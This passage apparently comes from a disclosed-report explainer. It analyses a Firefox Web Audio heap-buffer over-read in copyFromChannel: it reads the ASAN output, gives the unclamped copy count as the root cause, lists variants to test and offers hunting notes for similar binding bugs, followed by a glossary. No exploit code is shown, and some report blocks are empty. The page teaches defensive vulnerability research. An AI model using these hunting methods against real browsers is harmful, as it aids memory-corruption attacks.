The order matters. getChannelData(12) comes before the copy, so the channel storage exists by the time copyFromChannel runs. The source node is also created before the copy.

Step 2: observe the ASAN report

ASAN aborts with a heap-buffer-overflow:

What each part says:

  • ERROR: AddressSanitizer: heap-buffer-overflow is ASAN announcing that code stepped outside a block of heap memory.
  • READ of size 2097140 means the program tried to read 2,097,140 bytes in one go. Each float takes 4 bytes, and 2097140 divided by 4 is 524285, exactly the length of the destination array. So the copy used the caller's array size as the amount to read.
  • thread T0 (file:// Content) says the read happened on the main thread of the content process, while loading a local file.
  • The numbered lines are the call stack: the chain of function calls that led to the fault, newest first. __asan_memcpy is ASAN's wrapper around the standard memory-copy function. PodCopy<float> is Firefox's helper that copies a run of floats. CopyChannelDataToFloat is the routine in AudioBuffer.cpp that does the actual channel copy, and AudioBuffer::CopyFromChannel is the public method that called it. The file and line numbers point into the Firefox source tree.

The faulting address is described as:

Text
0x63200014e088 is located 0 bytes to the right of 88200-byte region [0x632000138800,0x63200014e088)

This says the read started exactly at the right-hand edge of a block of 88200 bytes. Divide 88200 by 4 and you get 22050, the frame count of the buffer. So the block is one channel's worth of samples, and the copy ran off its end. The square bracket at the start and the round bracket at the end are the usual way of writing a range that includes its first value but not its last.

The allocation stack shows where that block came from:

Read from the bottom up, this is the story of the allocation. GetChannelData is the method the page called. It calls RestoreJSChannelData, which is the lazy step that creates the JavaScript-visible storage. That in turn creates a typed array of floats with a given length, which ends in maybeCreateArrayBuffer. So the over-read region is the Float32Array created when getChannelData(12) ran, and the copy performed by CopyChannelDataToFloat reads past its end.

The rest of the stack is the ordinary path from the page's load event into the event handler and then into the browser's binding code: AudioBuffer_Binding::copyFromChannel, GenericMethod, the JavaScript interpreter, JSEventHandler::HandleEvent, EventDispatcher::Dispatch, nsDocumentViewer::LoadComplete and the document-loading machinery. None of that is unusual; it just shows the page's onload function being called normally.

Root cause

The copy routine in CopyChannelDataToFloat, called from AudioBuffer::CopyFromChannel, performs a PodCopy<float> of the requested number of elements without clamping it to the actual channel length. Clamping means cutting a number down to a maximum allowed value. The destination array supplied by the caller is 524285 elements long, and the copy uses that size rather than the buffer's 22050 frames, so memcpy reads 2097140 bytes from a region that is only 88200 bytes. The channel storage itself was allocated correctly by RestoreJSChannelData; the mistake is in the bounds check on the copy, which does not limit the count to the channel's frame count. The report does not describe the exact check that was missing or how it was written.

Impact

A web page can make the content process read out of bounds past a Web Audio channel buffer. In this build the read is caught by ASAN and aborts the process; The report does not describe what happens in a non-instrumented build. The report does not demonstrate anything beyond the crash and the over-read, and does not describe a path to code execution. The testcase triggers on page load, with no further interaction.

Fix

Variants to test

  1. Vary the destination length in copyFromChannel while keeping the buffer length small, to see whether the copy is clamped to the channel length or to the destination length. A positive result is an ASAN read past the end of the channel region.
  2. Vary startInChannel together with the destination length, so that the start offset plus the copy count exceeds the frame count. A positive result is the same over-read at a different offset.
  3. Call getChannelData on one channel and copyFromChannel on another, as in the test case, to check whether the lazily allocated storage of one channel is used as the source for a copy of a different channel. A positive result is a read from a region whose size does not match the requested channel.
  4. Repeat with different channel counts and frame counts, including very small buffers, to see whether the clamp depends on the buffer size. A positive result is a crash on a buffer whose length is smaller than the destination array.
  5. Exercise the same pattern through an AudioBufferSourceNode with an inconsistent loop range, as the test case does, to check whether the loop parameters influence the channel data state. A positive result is a crash that does not occur without the source node.

Hunting notes

This kind of bug lives in DOM bindings that copy data between JavaScript typed arrays and internal C++ buffers. DOM bindings are the glue code that lets JavaScript call into the browser's C++ internals. The same pattern appears in Web Audio (AudioBuffer, copyFromChannel, getChannelData), media elements, canvas getImageData/putImageData, and any API that takes a caller-supplied typed array plus an offset and a length. The signal during review is a copy routine that uses the caller's array length or the requested count without clamping it to the internal buffer's length, especially where the internal storage is allocated lazily and its size is not the same as the requested one. The researcher showed impact by running the minimised test case against an ASAN build and including the full ASAN report, which pins the fault to CopyChannelDataToFloat and shows the allocation site in RestoreJSChannelData. The ASAN report pins the fault to CopyChannelDataToFloat and shows the allocation site in RestoreJSChannelData.

Glossary

  • API: a set of commands a program or web page can use to ask another piece of software to do something.
  • AddressSanitizer (ASAN): a debugging tool in special test builds that places guard zones around memory blocks and stops the program the moment code steps outside one.
  • AudioBuffer: a Web Audio object holding sound samples, organised as one array of floats per channel.
  • AudioBufferSourceNode: a Web Audio object that plays back an AudioBuffer, with optional looping.
  • AudioContext: the Web Audio object that represents the audio engine; creating one switches the engine on.
  • Binding: glue code that lets JavaScript call into the browser's internal C++ code, and back again.
  • Bounds check: a test that a number stays within an allowed range before it is used, for example before copying that many items.
  • Channel: one stream of sound inside a buffer, such as left or right in stereo.
  • Clamp: to cut a value down to a maximum allowed value.
  • Content process: the separate process in which Firefox runs web pages, isolated from the rest of the browser.
  • copyFromChannel: the AudioBuffer method that copies a slice of one channel's samples into a caller-supplied array.
  • DOM: the browser's in-memory model of a web page, which JavaScript reads and changes.
  • Float: a number that can have a decimal part, the usual way sound samples are stored.
  • Float32Array: a JavaScript typed array holding floats, with a fixed length known to the browser.
  • Frame: one sample point in time; a buffer's length is measured in frames.
  • getChannelData: the AudioBuffer method that returns the raw sample array for a channel, creating it lazily if needed.
  • Heap: the area of memory a program uses for things it creates while running.
  • Heap-buffer-overflow: reading or writing past the end (or before the start) of a block of heap memory.
  • Lazy allocation: creating storage only when it is first needed, rather than in advance.
  • Materialise: to actually create the storage for something that was previously only described.
  • memcpy: the standard low-level function that copies a run of bytes from one place in memory to another.
  • Minimised test case: the smallest version of a page or program that still triggers a bug, with everything unnecessary removed.
  • Out-of-bounds access: reading or writing memory outside the block that was set aside for the data.
  • PodCopy: Firefox's helper for copying a run of plain values, such as floats, from one place to another.
  • Sample rate: how many sound samples are taken per second, for example 44100.
  • SourceStamp: an identifier for the exact version of the Firefox source code a build was made from.
  • Typed array: a JavaScript array whose entries all have the same fixed size, so the browser knows exactly how much memory it occupies.
  • Web Audio API: the browser feature that lets pages create and manipulate sound.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.